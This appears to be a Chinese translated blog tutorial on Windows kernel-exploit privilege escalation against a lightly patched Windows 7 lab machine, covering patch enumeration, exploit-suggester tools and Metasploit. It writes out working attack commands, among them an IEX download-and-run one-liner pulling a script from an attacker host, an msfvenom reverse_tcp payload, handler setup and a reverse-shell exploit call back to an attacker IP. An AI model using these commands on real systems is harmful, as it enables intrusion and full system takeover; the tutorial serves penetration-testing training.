本文通过 Google 翻译 Kernel Exploits Part 1 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

由于 Windows 内核利用的信息量比较大,故将本篇文章分成了两个部分。

在第一部分内容中,我们将介绍如何在旧版 Windows 系统中进行内核利用。

我们从打了最少补丁的 Windows 7 机器开始测试,然后使用各种检测内核利用的方法去枚举它容易受到哪些内核漏洞的攻击。在找到潜在漏洞后,我们将测试相应的漏洞利用,看看它们是如何工作的。在测试漏洞利用期间,我们将看到 6 个测试示例,它们展示了如何从 GUI、从反向 shell 和使用 Metasploit 的方式去提升普通权限到 SYSTEM。

注:文中出现了较多的“内核漏洞”和“内核利用”等字眼,因此有必要搞清二者之间的关系。其实内核利用是内核漏洞的实例,漏洞是一个概念,漏洞利用是实践。

1、旧版 Windows 系统内核利用

Windows 内核利用按照 OS 版本又可以分为两个类:旧版 Windows 系统、新版 Windows 系统。其中 Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统,而在此之前的 Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。

对于本文,我们将研究旧版 Windows 系统的内核利用,测试机器是仅安装了一个补丁的 Windows 7 SP1 7601。

2、搜寻内核漏洞

在此示例中,假设我们已经在 Windows 7 机器上获得了标准用户 bob 的身份。

2.1、枚举内核利用 - 手动

在枚举内核漏洞利用前,我们首先要做的是使用 systeminfo 命令查看系统的信息,其中重点关注 操作系统版本、架构,以及最关键 HotFixes(KB)这些信息。

从上面可以看到,该主机是 Windows 7 Pro – SP1 7601 – x86 (32-bit) 系统,同时该主机只有一个补丁。

为了收集有关补丁的更多信息,可以使用以下 wmic 命令:

wmic qfe get Caption,Description,HotFixID,InstalledOn

由于微软给每个内核漏洞都起了一个名称作为标识,而名称中又包括发现漏洞的年份,因此补丁的发布日期很值得注意。【例如 MS10-059(2010)表示该漏洞是在 2010 年的第 59 个安全公告中发布的,而该公告确切的发布时间是2010年8月10日。】

注意:补丁的发布日期和通过 wmic 发现的补丁安装时间可不是同一回事,作者的意思应该是根据补丁 KB 号码去查找该补丁实际的发布时间,然后根据这个时间去排除这个日期范围内的内核漏洞利用程序【因为补丁和漏洞的披露通常来说是先发补丁后发漏洞或同时发布,当然这也不绝对。】。例如,补丁如果是2000年发布的,那么2000年之后的系统漏洞就是可以被利用的。当然如果补丁的安装时间是在2000年,那么这个漏洞肯定是在2000年或2000年之前发布的,那么使用2000年之后的漏洞大概率也是有效的。

从这里,我们可以开始分析系统安装有哪些补丁,然后搜索 KB 号,以确定由于该补丁而无法使用的内核利用。

这种手动枚举的方式对于安装了少量的补丁来说,效果很好。但是,如果安装了几百个补丁, 那手工的方式显然就不再适合了。

2.2、枚举内核利用 - 自动

有两个工具可以很好地枚举旧版 Windows 系统的内核利用,第一个是Windows Exploit Suggester 2,第二个是 sherlock.ps1。

这两种工具的工作原理都是将受害者已安装的补丁与这些补丁库中已打补丁的漏洞列表进行交叉引用。以此为基础,这些工具将从输出中排除已打补丁的漏洞,只提供主机未打补丁的漏洞。

在测试内核利用时,使用自动工具有助于消除大部分猜测。【注:当然工具也会存在遗漏的情况。】

2.2.1、Windows Exploit Suggester 2

使用的第一个工具是 Windows Exploit Suggester 2,它是一个 Python 脚本。在攻击者机器上使用此脚本前,我们需要先获取受害者机器上的 systeminfo 系统信息,以及补丁库的文件。

现在,我们已经准备好了受害者的系统信息 txt 文件,还可以更新补丁库 XLS 文件,以确保补丁列表是最新的。不过,由于这是一个只安装了一个补丁的旧操作系统,因此不需要更新补丁库文件,因为 2021 年 4 月前的补丁库已经足够满足当前的需要了。

可以使用以下命令运行 Windows Exploit Suggester:

./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt

输出内容有很多,但大部分信息对我们来说并没有用。同时,该工具还提供了一个标识说明(E|M|*),以告诉我们对应的系统漏洞是否有二进制或 Metasploit 模块可供使用。

于是,我们就可以根据提供的标识进行内容过滤,让其只筛选出我们感兴趣的信息,这些信息通常包含有 [M]或[E]或“Elevation of privileges”字段。

./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt | grep "\[M\]\|\[E\]" | grep "Elevation"

最终,我们得到了一个可供测试的漏洞清单。

2.2.2、Sherlock.ps1

Sherlock 是一个 PowerShell 脚本,可快速找到用于本地特权提升的漏洞利用。

Sherlock(夏洛克)已经被弃用大约 5 年了,并且也是从那时起就被Watson.exe(华生)所取代,Watson.exe 是一个用于枚举新版 Windows OS'(10/2016/2019)的工具,我们将在这篇文章的第二部分中看到它。

回到 Sherlock,我们可以利用 Sherlock 在旧版 Windows 系统上枚举内核漏洞。而当前正处在 Windows 7 机器上,因此这个工具对我们来说非常适合。

现在,在 Sherlock.ps1 脚本底部附加以下命令,以便脚本的枚举漏洞功能可以被自动执行:

echo "Find-AllVulns" >> Sherlock.ps1

Perfect!现在,我们可以将 sherlock.ps1 下载到受害者磁盘上,然后执行该脚本。或者可以开启 HTTP 服务器,然后将脚本直接下载到内存中进行执行。

我们使用后一种,先在攻击机开启 HTTP 服务器:

python3 -m http.server 80

然后在受害者机器上,执行以下 IEX 命令将脚本从攻击者计算机直接下载到内存中执行:

powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Sherlock.ps1')"

Sherlock 会根据已安装的补丁程序,提取所有可能存在的漏洞。同时,它还会进一步告诉你系统是否容易受到该漏洞的攻击。

3、使用内核利用

现在,我们已经知道了该如何枚举内核漏洞利用,接下来就可以根据枚举出来的漏洞利用去该仓库查找可用的利用程序以进行测试。

内核利用列表中,你会发现大多数利用程序都会以 SYSTEM 的身份生成一个新的 cmd.exe 实例。虽然这很好,但只有我们在 GUI 图形化界面来查看 shell 的情况下才实用。但幸运的是,很多利用都支持“就地”提升或产生反向 shell,因此在实际测试这些利用时会同时展示这两种情况。

现在,让我们通过图形化界面和反向 shell 测试一些漏洞,看看两者有什么不同。

3.1、使用内核利用 - GUI

假设我们在最初的枚举中找到了用户 bob 的凭据,同时发现 RDP 开放且bob 还是远程桌面用户组的一部分。然后,我们成功地通过 RDP 访问了该主机。

由于在内核利用列表上的大多数利用程序都会产生 cmd.exe 的新实例,因此当我们可以使用主机的图形化界面时,内核利用会非常简单。

示例0】例如,从 Suggester 和 Sherlock 的输出来看,同时在两款工具中都出现的漏洞有 MS15-051 和 MS16-016。

因此,我们可以在内核利用列表中优先检查它俩是否被列出。

可以看到,两个漏洞都被列出了。现在,让我们只下载 MS15-051 然后将其发送给受害者。

MS15-051 的预编译二进制文件被称为 Taihou32.exe,但在将其转移给受害者之前,我先将其重命名为 MS15-051.exe。

现在,当运行可执行文件时,新的 shell 以 SYSTEM 身份产生了!

就这么简单!

3.2、使用内核利用 - Reverse Shell

上面我们只是看到了如何轻松地从 GUI 获得 SYSTEM shell,但通常我们是没有 GUI 访问权限的。

幸运的是,有不少漏洞利用程序可以通过反向 shell 运行,或“就地”提升至 SYSTEM。这意味着漏洞利用者可以在当前会话中直接升级到 SYSTEM,而无需再生成第二个 cmd 窗口。

示例1】首先,让我们检查一下在 Sherlock 和 Suggester 上出现的第二个漏洞:MS16-016。

我们先获取此利用程序,然后将其传输到受害者机器上。

MS16-016 的预编译二进制文件被称为 eop.exe,但在将其转移给受害者之前,我先将其重命名为 MS16-016.exe。

需要注意的是,MS16-016 二进制程序是需要 ShellCode.dll 文件才能工作。因此,我们要将两个文件转移到受害者机器。

现在,我们可以执行 MS16-016.exe。

Amazing!在当前的会话中,我们得到了一个 SYSTEM shell。

由于我们对这种内核漏洞利用(即“就地”提升)最感兴趣,所以让我们再看看另外两种内核漏洞利用,它们也可以被用来做同样的事情。

这次,我们将看到一个在 Sherlock 和 Suggester 扫描中均未出现的漏洞,它就是:MS11-046。

既然该漏洞没有在任何一种工具的输出中出现,那为什么还要去尝试一下呢?因为我们可以看到,当运行 wmic 命令时,已安装日期显示的是 2010年11月,也就是说这个补丁在2010年11月前就已经发布了,这也意味着任何等于或大于 MS11 的漏洞利用都值得我们去尝试。【注:根据补丁安装日期去判断漏洞的做法虽然不是很准确,但在无有效解法之前也是值得去尝试的。】

示例2】因此,让我们测试它!

BOOM!我们得到了另外一个 SYSTEM shell。

示例3】接下来,我们开始另一个例子。可以看到,在 Suggester 的输出中显示 MS14-040.exe 可以被使用。

当执行这个利用的时候,它会被挂起。当我们等待大约 20 秒,然后按两次回车键,就会得到 SYSTEM shell。

示例4】最后一个例子在当前这台 win7 机器上不存在漏洞,但它也是一个很好的内核漏洞,那就是 MS10-059 或 "Chimichurri"。

注:下面的示例是在 hackthebox 的盒子上进行的。

将漏洞利用程序传输给受害者之后,我们可以尝试直接运行它以查看其命令用法:

这个利用程序会向攻击者的机器推送一个反向 shell,这与我们刚才看到的“就地”提升示例有些不同。这意味着我们需要在攻击者机器上启动一个 netcat 监听器。

.\MS10-059.exe 10.10.14.6 9999

执行命令后会出现一条很令人高兴的提示信息。然后回到监听器后,我们收到了一个 SYSTEM shell!

我给你举了 4 个例子,但还有很多从反向 shell 运行的例子需要你自己去发现去测试。提示:在内核利用列表中的漏洞利用程序有时候会附带工具使用截图,我们可以从截图中看出该漏洞利用是不是以反向 shell 的方式去使用的。

4、通过 Metasploit 查找及使用内核利用

示例5】Metasploit 是通过内核利用来提升权限的绝佳工具。

借助 Metasploit,我们可以使用其内置的本地漏洞利用建议模块(Local Exploit Suggester)来列举潜在可用的内核利用。之后,我们就可以在 Metasploit 中逐一去测试它们,因为它显示出来的漏洞利用都是在 Metasploit 中实际存在的模块。

要升级当前我们获得的立足点的 cmd shell 到 Meterpreter shel,我们可以快速生成一个有效载荷,然后将其转移给受害者,例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f exe -o meter86.exe

接下来,我们需要在 Metasploit 中启动一个 multi-handler 监听器:

msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"

然后在受害者机器上执行该载荷。

最后,回到 multi-handler 监听器,可以看到有一个 meterpreter shell 产生了。

新产生的 meterpreter 的会话编号是 1,这很重要,我们需要记住这个编号。

从这里开始,我们需要使用以下命令来加载 Local Exploit Suggester 模块。

background
search suggester
use 0
set SESSION 1
exploit

大约 30 秒后,Metasploit 会列出我们可以用来对付这台主机的潜在内核漏洞利用。

现在,我们需要逐一对这些漏洞进行测试,直到获得 SYSTEM shell 为止。在这里,我们跳过测试 UAC 绕过和 MS10-XXX 相关的模块,直接从 MS13-053 模块开始测试。【注:这里主要优先以内核漏洞利用为主,所以 UAC 相关模块直接跳过;因为那个补丁的原因,所以我们知道 MS10-XXX 模块在这台机器上大概率是无法使用的,故直接跳过。】

对于所有这些漏洞利用模块,我们都需要设置 LHOST、LPORT 和 SESSION 字段。LPORT 必须不同于前面获取 Meterpreter 会话时使用的 443 端口。

Kitrap0d 是一个非常可靠的内核利用,但对于当前这台机器是无效的。

use exploit/windows/local/ms13_053_schlamperei
set LHOST 172.16.1.30
set LPORT 8080
set SESSION 1
exploit

经过几次不断的尝试,我们最终成功获得了 SYSTEM shell!

对于 Suggester 为我们找到的大多数内核漏洞,只要它显示“The target appears to be vulnerable”,那就很有可能会被成功提升到 SYSTEM。

Windows 提权-内核利用_1的更多相关文章

  1. windows 提权脚本利用

    本地加载: Import-Module Sherlock.ps1 远程加载: IEX (New-Object System.Net.Webclient).DownloadString('https:/ ...

  2. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  3. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  4. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  5. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  7. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  8. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  9. Linux提权之利用 /etc/passwd 文件

    当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作. 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去. 首先 ...

  10. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. Nginx https证书生成

    一.证书和私钥的生成 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1.创建服务器证书密钥文件 server.key: ...

  2. 网页转换成电脑exe软件简单办法

    准备windows电脑,其他电脑步骤差不多 1.安装nodejs(nodejs自带npm),前往nodejs官网下载,选择Windows 安装包 (.msi) 64位,一直点击下一步安装即可 2.wi ...

  3. Qt加载天地图离线api开发包/从官网趴地图js代码/费了九牛二虎之力终于搞定

    一.前言说明 网上关于如何趴天地图离线api文件的文章,只有少量的两三篇,而且几乎没有说全和说对,搞得评论也是一片懵逼,这里不行那你不行,思路可以借鉴就是.索性花了点时间,自己研究了如何从官网一步步趴 ...

  4. 即时通讯技术文集(第13期):Web端即时通讯技术精华合集 [共15篇]

    为了更好地分类阅读52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第13 期. [- 1 -] 新手入门贴:史上最全Web端即时通讯技术原理详解 [链接] http ...

  5. Solution -「牛客 31454H」Permutation on Tree

    \(\mathscr{Description}\)   Link.   给定一棵含有 \(n\) 个点的有根外向树, 对于所有满足树形拓扑关系的结点遍历顺序 \(p_{1..n}\) 求出 \(\su ...

  6. 特斯拉CEO埃隆马.斯克的五步工作法,怎么提高工程效率加速产品开发?

    简介 在<埃隆·马斯克传>这本书中,有两个章节写到了特斯拉 CEO 埃隆马斯克为了在一段时间内,提升特斯拉汽车 model 3 的产能到每个月 5000 辆这个数量级,在书中叫 " ...

  7. Spring源码分析基本介绍

    Spring源码分析(一)基本介绍   摘要:本文结合<Spring源码深度解析>来分析Spring 5.0.6版本的源代码.若有描述错误之处,欢迎指正. 前言 作为一名开发人员,阅读源码 ...

  8. w3cschool-R语言 教程

    https://www.w3cschool.cn/r/ R语言教程 R语言是用于统计分析,图形表示和报告的编程语言和软件环境. R语言由Ross Ihaka和Robert Gentleman在新西兰奥 ...

  9. yolov5输出解码实现

    yolov5输出解释--以yolov5s.pt为例 写在前面.这几天在用Tensort部署一个工训赛检测圆环的模型,发现输出怎么都对不上,通过查阅各方资料,便有了这篇文章,希望能帮助到大家 输出维度 ...

  10. 《Linux shell 脚本攻略》第1章——读书笔记

    目录 文件描述符及重定向 函数和参数 迭代器 算术比较 文件系统相关测试 字符串进行比较 文件描述符及重定向 echo "This is a sample text 1" > ...